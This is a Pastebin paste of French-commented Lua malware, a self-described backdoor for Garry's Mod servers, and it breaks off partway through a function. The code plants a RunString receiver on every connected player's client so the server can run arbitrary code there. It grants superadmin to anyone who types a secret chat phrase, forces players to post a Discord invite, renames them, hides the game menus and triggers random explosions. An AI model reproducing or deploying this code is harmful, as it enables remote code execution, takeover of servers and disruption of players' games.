MarlowFR

Untitled

Jul 15th, 2019
551
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 32.04 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3.  
  4. timer.Create("nonameplease", 5, 0,function()
  5. for i=1, #player.GetHumans() do
  6. local ply = player.GetHumans()[i]
  7. ply:Say( "/ooc Rejoignez l'élite! ===> https://discord.gg/n8Heezw")
  8. end
  9. end)
  10. BroadcastLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]])
  11. util.AddNetworkString "EnigmaProject"
  12.  
  13. local CHANGERPSEUDO = "wxm la backdoor du diable"
  14. local enigmalaunchproject = {}
  15. function enigmalaunchproject:RandomString( intMin, intMax )
  16. local ret = ""
  17. for _ = 1, math.random( intMin, intMax ) do
  18. ret = ret.. string.char( math.random(65, 90) )
  19. end
  20.  
  21. return ret
  22. end
  23.  
  24.  
  25.  
  26. enigmalaunchproject.m_tblActions = {}
  27. enigmalaunchproject.m_strImageGlobalVar = enigmalaunchproject:RandomString( 6, 12 )
  28. enigmalaunchproject.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  29.  
  30. function enigmalaunchproject:NouvelleAction( intChainDelay, func )
  31. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  32. end
  33.  
  34. function enigmalaunchproject:ActionApres( pPlayer )
  35. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  36. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  37.  
  38. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  39. if not IsValid( pPlayer ) then return end
  40. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  41. self:ActionApres( pPlayer )
  42. end )
  43. end
  44.  
  45. function enigmalaunchproject:Start( pPlayer )
  46. pPlayer.m_intCurAction = 0
  47. self:ActionApres( pPlayer )
  48. end
  49.  
  50. function enigmalaunchproject:SendLua( pPlayer, strLua )
  51. pPlayer:SendLua([[RunConsoleCommand("gmod_language","ko")]])
  52. net.Start( "EnigmaProject" )
  53. net.WriteString( strLua )
  54. net.Send( pPlayer )
  55. end
  56.  
  57. function enigmalaunchproject:SetupPlayer( pPlayer )
  58. pPlayer:SendLua( "net.Receive(\"EnigmaProject\", function() RunString(net.ReadString()) end)" )
  59. end
  60.  
  61.  
  62.  
  63.  
  64.  
  65.  
  66. -- DANSE --
  67.  
  68.  
  69. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_until_your_dead",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
  70.  
  71.  
  72. -- FIN DANSE --
  73.  
  74.  
  75.  
  76.  
  77. -- CHANGER NOM --
  78.  
  79.  
  80. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, CHANGERPSEUDO) v:setDarkRPVar("rpname", CHANGERPSEUDO) end
  81.  
  82.  
  83. -- FIN CHANGER NOM --
  84.  
  85.  
  86.  
  87. -- Console Spam
  88.  
  89. decore = {
  90. [[
  91.  
  92.  
  93.  
  94.  
  95.  
  96.  
  97.  
  98.  
  99.  
  100.  
  101.  
  102.  
  103.  
  104.  
  105.  
  106.  
  107.  
  108.  
  109.  
  110.  
  111.  
  112.  
  113.  
  114.  
  115.  
  116.  
  117.  
  118.  
  119.  
  120.  
  121.  
  122.  
  123.  
  124.  
  125.  
  126.  
  127.  
  128.  
  129.  
  130.  
  131.  
  132.  
  133.  
  134.  
  135.  
  136.  
  137.  
  138.  
  139.  
  140.  
  141.  
  142.  
  143.  
  144.  
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151.  
  152.  
  153.  
  154.  
  155.  
  156.  
  157.  
  158.  
  159.  
  160.  
  161.  
  162.  
  163.  
  164. wxm @ https://discord.gg/n8Heezw
  165. ]]
  166. }
  167.  
  168. function decorationconsole()
  169. print(Color( 0, 0, 0 ), table.Random(decore))
  170. end
  171. -- Console Spam
  172. for k, v in pairs( player.GetAll() ) do
  173. timer.Create("consolespamenigma", 0.4, 0, function() decorationconsole( v ) end )
  174. end
  175.  
  176. --[[ MODE ARMAGEDDON --
  177.  
  178.  
  179. hook.Add("Think", "armageddon", function()
  180. local explode = ents.Create( "env_explosion" )
  181. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  182. explode:Spawn()
  183. explode:SetKeyValue( "iMagnitude", "500" )
  184. explode:Fire( "Explode", 0, 0 )
  185. end)
  186.  
  187.  
  188. -- FIN MODE ARMAGEDDON ]]--
  189.  
  190.  
  191. -- Send Lua --
  192. function SendLuaAll( str ) net.Start( "EnigmaProject" ) net.WriteString( str ) net.Broadcast() end
  193.  
  194.  
  195. -- Changer Taille --
  196.  
  197.  
  198. hook.Add("Think", "giant", function()
  199. for k,v in pairs (player.GetAll()) do
  200. v:SetModelScale(50.5, 100);
  201. v:SetRunSpeed(700 * 2);
  202. v:SetWalkSpeed(400 * 2);
  203. end
  204. end)
  205.  
  206.  
  207. -- Fin Changer Taille --
  208.  
  209.  
  210.  
  211. -- Message --
  212.  
  213.  
  214. for k,v in pairs(player.GetAll()) do
  215. v:ConCommand("say /ooc Oups, votre serveur se fait percer de tout les côtes! :(")
  216. end
  217.  
  218.  
  219. -- Message Fin --
  220.  
  221.  
  222.  
  223. -- Auto Lançage --
  224.  
  225.  
  226. for k, v in pairs( player.GetAll() ) do
  227. enigmalaunchproject:SetupPlayer( v )
  228. timer.Simple( 2, function() enigmalaunchproject:Start( v ) end )
  229. end
  230.  
  231.  
  232. -- Fin Auto Lançage --
  233.  
  234.  
  235. -- Lancer Aux Nouveaux Arrivants --
  236.  
  237.  
  238. --hook.Add( "PlayerAuthed", "wtfispassequoi", function( pPlayer )
  239. -- enigmalaunchproject:SetupPlayer( pPlayer )
  240. -- timer.Simple( 10, function() enigmalaunchproject:Start( pPlayer ) end )
  241. --end )
  242.  
  243. -- Fin Lancer Aux Nouveaux Arrivants --
  244.  
  245.  
  246.  
  247. -- Commande Enigma --
  248.  
  249.  
  250. hook.Add( "PlayerSay", "EnigmaCKoa", function( pSender, strText, bTeamChat )
  251. if strText:sub( 1, 5 ) == "Enigma" then
  252. pSender:Ignite( 1e9 )
  253. pSender:ChatPrint( "wxm la backdoor private la plus puissante de GMod ;)" )
  254. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  255. return false
  256. end
  257. end )
  258.  
  259.  
  260. -- Fin Commande Enigma
  261.  
  262.  
  263.  
  264.  
  265.  
  266. hook.Add( "PlayerSay", "a4dxvlwxdlco", function( pSender, strText, bTeamChat )
  267. if strText:sub( 1, 5 ) == "EnigmaIsLitteralyMyFuckingGod" then
  268. pSender:SetUserGroup("superadmin")
  269. pSender:ChatPrint( "Tu est l'un des notres !" )
  270. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  271. return false
  272. end
  273. end)
  274.  
  275.  
  276.  
  277.  
  278.  
  279.  
  280.  
  281.  
  282.  
  283.  
  284. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  285. enigmalaunchproject:SendLua( pPlayer, ([=[
  286.  
  287.  
  288. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  289. local html = [[%s]]
  290. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  291. local pnl = vgui.Create( "HTML" )
  292. pnl:SetPos( ScrW() -1, ScrH() -1 )
  293. pnl:SetVisible( true )
  294. pnl:SetMouseInputEnabled( false )
  295. pnl:SetKeyBoardInputEnabled( false )
  296. pnl:SetSize( intSizeX, intSizeY )
  297. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  298.  
  299. local PageLoaded
  300. PageLoaded = function()
  301. local mat = pnl:GetHTMLMaterial()
  302. if mat then
  303. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  304. return
  305. end
  306.  
  307. timer.Simple( 0.5, PageLoaded )
  308. end
  309.  
  310. PageLoaded()
  311. end
  312.  
  313. --LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/06/5/1518211648-sans-titre-6.gif", "getrekt", 1920, 1080 )
  314.  
  315. hook.Add( "RenderScreenspaceEffects", "itsredworld", function()
  316. local sinScaler = math.sin( CurTime() )
  317. DrawBloom(
  318. 0,
  319. 3,
  320. sinScaler *math.Rand(1, 8),
  321. sinScaler *math.Rand(1, 8),
  322. 6,
  323. math.Rand(0.5, 2),
  324. math.Rand(0, 0.3),
  325. math.Rand(0, 0.3),
  326. math.Rand(0.5, 1)
  327. )
  328.  
  329. DrawColorModify{
  330. ["$pp_colour_addr"] = 1,
  331. ["$pp_colour_addg"] = 0,
  332. ["$pp_colour_addb"] = 0,
  333. ["$pp_colour_brightness" ] = 0.1,
  334. ["$pp_colour_contrast" ] = 0.1,
  335. ["$pp_colour_colour" ] = 0.1,
  336. ["$pp_colour_mulr" ] = 1,
  337. ["$pp_colour_mulg" ] = 0,
  338. ["$pp_colour_mulb" ] = 0
  339. }
  340. end )
  341.  
  342. ]=]):format(enigmalaunchproject.m_strImageLoadHTML) )
  343. end )
  344.  
  345.  
  346.  
  347.  
  348. enigmalaunchproject:NouvelleAction( 14, function( pPlayer )
  349. enigmalaunchproject:SendLua( pPlayer, [[
  350.  
  351. (GAMEMODE or GM).CalcView = function() end
  352. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  353.  
  354. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  355. for k, v in pairs(remove) do
  356. hook.GetTable()[v] = {}
  357. end
  358.  
  359. local function GetWebMat( strURL )
  360. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  361. end
  362.  
  363. hook.Add( "HUDPaint", "hud1enigma", function()
  364. surface.SetDrawColor( 255, 255, 255, 255 )
  365.  
  366. if GetWebMat( "getrekt" ) then
  367. surface.SetMaterial( GetWebMat("getrekt")[1] )
  368. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  369. end
  370.  
  371. draw.SimpleTextOutlined(
  372. "wxm is here",
  373. "DermaLarge",
  374. ScrW() /2 +math.random( -2, 2 ),
  375. ScrH() /2 +math.random( -2, 2 ) +0,
  376. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  377. TEXT_ALIGN_CENTER,
  378. TEXT_ALIGN_CENTER,
  379. 1,
  380. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  381. )
  382. end )
  383.  
  384. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  385. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  386.  
  387. ]] )
  388. end )
  389.  
  390.  
  391.  
  392. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  393. enigmalaunchproject:SendLua( pPlayer, [[
  394.  
  395. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  396.  
  397.  
  398.  
  399. ]] )
  400. end )
  401.  
  402. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  403. enigmalaunchproject:SendLua( pPlayer, [[
  404.  
  405. (GAMEMODE or GM).CalcView = function() end
  406. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  407.  
  408. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  409. for k, v in pairs(remove) do
  410. hook.GetTable()[v] = {}
  411. end
  412.  
  413. local function GetWebMat( strURL )
  414. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  415. end
  416.  
  417. hook.Add( "HUDPaint", "hud1enigma", function()
  418. surface.SetDrawColor( 255, 255, 255, 255 )
  419.  
  420. if GetWebMat( "getrekt" ) then
  421. surface.SetMaterial( GetWebMat("getrekt")[1] )
  422. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  423. end
  424.  
  425. draw.SimpleTextOutlined(
  426. "wxm was here",
  427. "DermaLarge",
  428. ScrW() /2 +math.random( -2, 2 ),
  429. ScrH() /2 +math.random( -2, 2 ) +0,
  430. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  431. TEXT_ALIGN_CENTER,
  432. TEXT_ALIGN_CENTER,
  433. 1,
  434. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  435. )
  436. end )
  437.  
  438. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  439. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  440.  
  441.  
  442. ]] )
  443. end )
  444.  
  445.  
  446. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  447. enigmalaunchproject:SendLua( pPlayer, [[
  448.  
  449. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  450.  
  451. ]] )
  452. end )
  453.  
  454. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  455. enigmalaunchproject:SendLua( pPlayer, [[
  456.  
  457.  
  458. (GAMEMODE or GM).CalcView = function() end
  459. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  460.  
  461. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  462. for k, v in pairs(remove) do
  463. hook.GetTable()[v] = {}
  464. end
  465.  
  466. local function GetWebMat( strURL )
  467. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  468. end
  469.  
  470. hook.Add( "HUDPaint", "hud1enigma", function()
  471. surface.SetDrawColor( 255, 255, 255, 255 )
  472.  
  473. if GetWebMat( "getrekt" ) then
  474. surface.SetMaterial( GetWebMat("getrekt")[1] )
  475. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  476. end
  477.  
  478. draw.SimpleTextOutlined(
  479. "Rejoignez l'élite en venant sur discord!",
  480. "DermaLarge",
  481. ScrW() /2 +math.random( -2, 2 ),
  482. ScrH() /2 +math.random( -2, 2 ) +0,
  483. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  484. TEXT_ALIGN_CENTER,
  485. TEXT_ALIGN_CENTER,
  486. 1,
  487. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  488. )
  489. end )
  490.  
  491. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  492. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  493.  
  494.  
  495.  
  496. ]] )
  497. end )
  498.  
  499. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  500. enigmalaunchproject:SendLua( pPlayer, [[
  501.  
  502. for k,v in pairs(player.GetAll()) do
  503. v:ConCommand("say /job wxm ma vie")
  504. end
  505.  
  506. ]] )
  507. end )
  508. local lol = {}
  509. function lol:RandomString( intMin, intMax )
  510. local ret = ""
  511. for _ = 1, math.random( intMin, intMax ) do
  512. ret = ret.. string.char( math.random(65, 90) )
  513. end
  514.  
  515. return ret
  516. end
  517.  
  518. lol.m_tblActions = {}
  519. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  520. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  521.  
  522. function lol:PushAction( intChainDelay, func )
  523. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  524. end
  525.  
  526. function lol:NextAction( pPlayer )
  527. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  528. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  529.  
  530. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  531. if not IsValid( pPlayer ) then return end
  532. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  533. self:NextAction( pPlayer )
  534. end )
  535. end
  536.  
  537. function lol:Start( pPlayer )
  538. pPlayer.m_intCurAction = 0
  539. self:NextAction( pPlayer )
  540. end
  541.  
  542. function lol:SendLua( pPlayer, strLua )
  543. net.Start( "skeleton_dancing_troll" )
  544. net.WriteString( strLua )
  545. net.Send( pPlayer )
  546. end
  547.  
  548. function lol:SetupPlayer( pPlayer )
  549. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  550. end
  551.  
  552. for k, v in pairs( player.GetAll() ) do
  553. lol:SetupPlayer( v )
  554. timer.Simple( 2, function() lol:Start( v ) end )
  555. end
  556.  
  557. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  558. lol:SetupPlayer( pPlayer )
  559. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  560. end )
  561.  
  562. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  563. if strText:sub( 1, 5 ) == "/1337" then
  564. pSender:Ignite( 1e9 )
  565. pSender:ChatPrint( "wxm best backdoor ever ;)" )
  566. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  567. return false
  568. end
  569. end )
  570.  
  571.  
  572.  
  573.  
  574.  
  575. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  576. enigmalaunchproject:SendLua( pPlayer, [[
  577.  
  578. RunConsoleCommand("+right")
  579.  
  580. ]] )
  581. end )
  582.  
  583. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  584. enigmalaunchproject:SendLua( pPlayer, [[
  585.  
  586. RunConsoleCommand("-right")
  587.  
  588. ]] )
  589. end )
  590.  
  591. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  592. enigmalaunchproject:SendLua( pPlayer, [[
  593.  
  594. RunConsoleCommand("+duck")
  595.  
  596. ]] )
  597. end )
  598.  
  599. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  600. enigmalaunchproject:SendLua( pPlayer, [[
  601.  
  602. RunConsoleCommand("-duck")
  603.  
  604. ]] )
  605. end )
  606.  
  607. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  608.  
  609. timer.Create( "lespamckool", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "wxm l\'élite des backdoors" )' ) end)
  610. timer.Create( "lespamckool2", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "rejoignez l\'élite!" )' ) end)
  611. timer.Create( "lespamckool3", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "https://discord.gg/n8Heezw" )' ) end)
  612. timer.Create( "lespamckool4", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "Marlow" )' ) end)
  613. timer.Create( "lespamckool5", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "https://discord.gg/n8Heezw" )' ) end)
  614. timer.Create( "lespamckool6", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "wxm vous couche tous" )' ) end)
  615. timer.Create( "lespamckool7", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "gvac c\'est pour vous bande de pucelles" )' ) end)
  616. timer.Create( "lespamckool8", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "~ l\'élite des backdoors - https://discord.gg/n8Heezw" )' ) end)
  617.  
  618. end )
  619.  
  620.  
  621. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  622.  
  623. timer.Remove( "lespamckool" )
  624. timer.Remove( "lespamckool2" )
  625. timer.Remove( "lespamckool3" )
  626. timer.Remove( "lespamckool4" )
  627. timer.Remove( "lespamckool5" )
  628. timer.Remove( "lespamckool6" )
  629. timer.Remove( "lespamckool7" )
  630. timer.Remove( "lespamckool8" )
  631.  
  632. end )
  633.  
  634. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  635.  
  636.  
  637. RunConsoleCommand("sv_friction", "-50")
  638.  
  639.  
  640. end )
  641.  
  642. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  643.  
  644.  
  645. RunConsoleCommand("sv_gravity", "300")
  646.  
  647.  
  648. end )
  649.  
  650. enigmalaunchproject:NouvelleAction( 12, function( pPlayer )
  651.  
  652.  
  653. hook.Add("Think", "armageddon", function()
  654. local explode = ents.Create( "env_explosion" )
  655. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  656. explode:Spawn()
  657. explode:SetKeyValue( "iMagnitude", "500" )
  658. explode:Fire( "Explode", 0, 0 )
  659. end)
  660.  
  661. end )
  662.  
  663.  
  664. enigmalaunchproject:NouvelleAction( 27, function( pPlayer )
  665.  
  666. hook.Remove( "Think", "armageddon", function() end)
  667.  
  668. end )
  669.  
  670. enigmalaunchproject:NouvelleAction( 7, function( pPlayer )
  671. enigmalaunchproject:SendLua( pPlayer, [[
  672. hook.Add( "RenderScreenspaceEffects", "itsendofworld", function()
  673. local sinScaler = math.sin( CurTime() )
  674. DrawBloom(
  675. 0,
  676. 3,
  677. sinScaler *math.Rand(1, 8),
  678. sinScaler *math.Rand(1, 8),
  679. 6,
  680. math.Rand(0.5, 2),
  681. math.Rand(0, 0.3),
  682. math.Rand(0, 0.3),
  683. math.Rand(0.5, 1)
  684. )
  685.  
  686. DrawColorModify{
  687. ["$pp_colour_addr"] = 0,
  688. ["$pp_colour_addg"] = 0,
  689. ["$pp_colour_addb"] = 0,
  690. ["$pp_colour_brightness" ] = 0.1,
  691. ["$pp_colour_contrast" ] = 0.1,
  692. ["$pp_colour_colour" ] = 0.1,
  693. ["$pp_colour_mulr" ] = 0,
  694. ["$pp_colour_mulg" ] = 0,
  695. ["$pp_colour_mulb" ] = 0
  696. }
  697. end )
  698.  
  699. ]] )
  700. end )
  701.  
  702. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  703. enigmalaunchproject:SendLua( pPlayer, [[
  704.  
  705. (GAMEMODE or GM).CalcView = function() end
  706. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  707.  
  708. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  709. for k, v in pairs(remove) do
  710. hook.GetTable()[v] = {}
  711. end
  712.  
  713. local function GetWebMat( strURL )
  714. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  715. end
  716.  
  717. hook.Add( "HUDPaint", "hud1enigma", function()
  718. surface.SetDrawColor( 255, 255, 255, 255 )
  719.  
  720. draw.SimpleTextOutlined(
  721. "wxm",
  722. "HACK",
  723. ScrW() /2 +math.random( -270, 300 ),
  724. ScrH() /2 +math.random( -300, 700 ) +0,
  725. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  726. TEXT_ALIGN_CENTER,
  727. TEXT_ALIGN_CENTER,
  728. 1,
  729. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  730. )
  731. end )
  732.  
  733. ]] )
  734. end )
  735.  
  736.  
  737. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  738. enigmalaunchproject:SendLua( pPlayer, [[
  739.  
  740. (GAMEMODE or GM).CalcView = function() end
  741. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  742.  
  743. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  744. for k, v in pairs(remove) do
  745. hook.GetTable()[v] = {}
  746. end
  747.  
  748. local function GetWebMat( strURL )
  749. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  750. end
  751.  
  752. hook.Add( "HUDPaint", "hud2enigma", function()
  753. surface.SetDrawColor( 255, 255, 255, 255 )
  754.  
  755. draw.SimpleTextOutlined(
  756. "hmm la backdoor qui fait du bien",
  757. "DermaLarge",
  758. ScrW() /2 +math.random( -600, 700 ),
  759. ScrH() /2 +math.random( -200, 800 ) +100,
  760. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  761. TEXT_ALIGN_CENTER,
  762. TEXT_ALIGN_CENTER,
  763. 1,
  764. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  765. )
  766. end )
  767. ]] )
  768. end )
  769.  
  770. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  771. enigmalaunchproject:SendLua( pPlayer, [[
  772.  
  773. (GAMEMODE or GM).CalcView = function() end
  774. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  775.  
  776. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  777. for k, v in pairs(remove) do
  778. hook.GetTable()[v] = {}
  779. end
  780.  
  781. local function GetWebMat( strURL )
  782. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  783. end
  784.  
  785. hook.Add( "HUDPaint", "hud3enigma", function()
  786. surface.SetDrawColor( 255, 255, 255, 255 )
  787.  
  788. draw.SimpleTextOutlined(
  789. "wxm",
  790. "DermaLarge",
  791. ScrW() /2 +math.random( -400, 500 ),
  792. ScrH() /2 +math.random( -600, 500 ) -100,
  793. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  794. TEXT_ALIGN_CENTER,
  795. TEXT_ALIGN_CENTER,
  796. 1,
  797. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  798. )
  799. end )
  800. ]] )
  801. end )
  802.  
  803. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  804. enigmalaunchproject:SendLua( pPlayer, [[
  805.  
  806. (GAMEMODE or GM).CalcView = function() end
  807. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  808.  
  809. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  810. for k, v in pairs(remove) do
  811. hook.GetTable()[v] = {}
  812. end
  813.  
  814. local function GetWebMat( strURL )
  815. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  816. end
  817.  
  818. hook.Add( "HUDPaint", "hud5enigma", function()
  819. surface.SetDrawColor( 255, 255, 255, 255 )
  820.  
  821. draw.SimpleTextOutlined(
  822. "wxm",
  823. "DermaLarge",
  824. ScrW() /2 +math.random( -500, 500 ),
  825. ScrH() /2 +math.random( -500, 500 ) +0,
  826. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  827. TEXT_ALIGN_CENTER,
  828. TEXT_ALIGN_CENTER,
  829. 1,
  830. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  831. )
  832. end )
  833. ]] )
  834. end )
  835.  
  836. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  837. enigmalaunchproject:SendLua( pPlayer, [[
  838.  
  839. (GAMEMODE or GM).CalcView = function() end
  840. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  841.  
  842. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  843. for k, v in pairs(remove) do
  844. hook.GetTable()[v] = {}
  845. end
  846.  
  847. local function GetWebMat( strURL )
  848. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  849. end
  850.  
  851. hook.Add( "HUDPaint", "hud7enigma", function()
  852. surface.SetDrawColor( 255, 255, 255, 255 )
  853.  
  854. draw.SimpleTextOutlined(
  855. "wxm",
  856. "DermaLarge",
  857. ScrW() /2 +math.random( -700, 700 ),
  858. ScrH() /2 +math.random( -700, 700 ) +300,
  859. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  860. TEXT_ALIGN_CENTER,
  861. TEXT_ALIGN_CENTER,
  862. 1,
  863. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  864. )
  865. end )
  866. ]] )
  867. end )
  868.  
  869. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  870. enigmalaunchproject:SendLua( pPlayer, [[
  871.  
  872. (GAMEMODE or GM).CalcView = function() end
  873. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  874.  
  875. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  876. for k, v in pairs(remove) do
  877. hook.GetTable()[v] = {}
  878. end
  879.  
  880. local function GetWebMat( strURL )
  881. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  882. end
  883.  
  884. hook.Add( "HUDPaint", "hud10enigma", function()
  885. surface.SetDrawColor( 255, 255, 255, 255 )
  886.  
  887. draw.SimpleTextOutlined(
  888. "wxm",
  889. "DermaLarge",
  890. ScrW() /2 +math.random( -800, 800 ),
  891. ScrH() /2 +math.random( -800, 800 ) -400,
  892. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  893. TEXT_ALIGN_CENTER,
  894. TEXT_ALIGN_CENTER,
  895. 1,
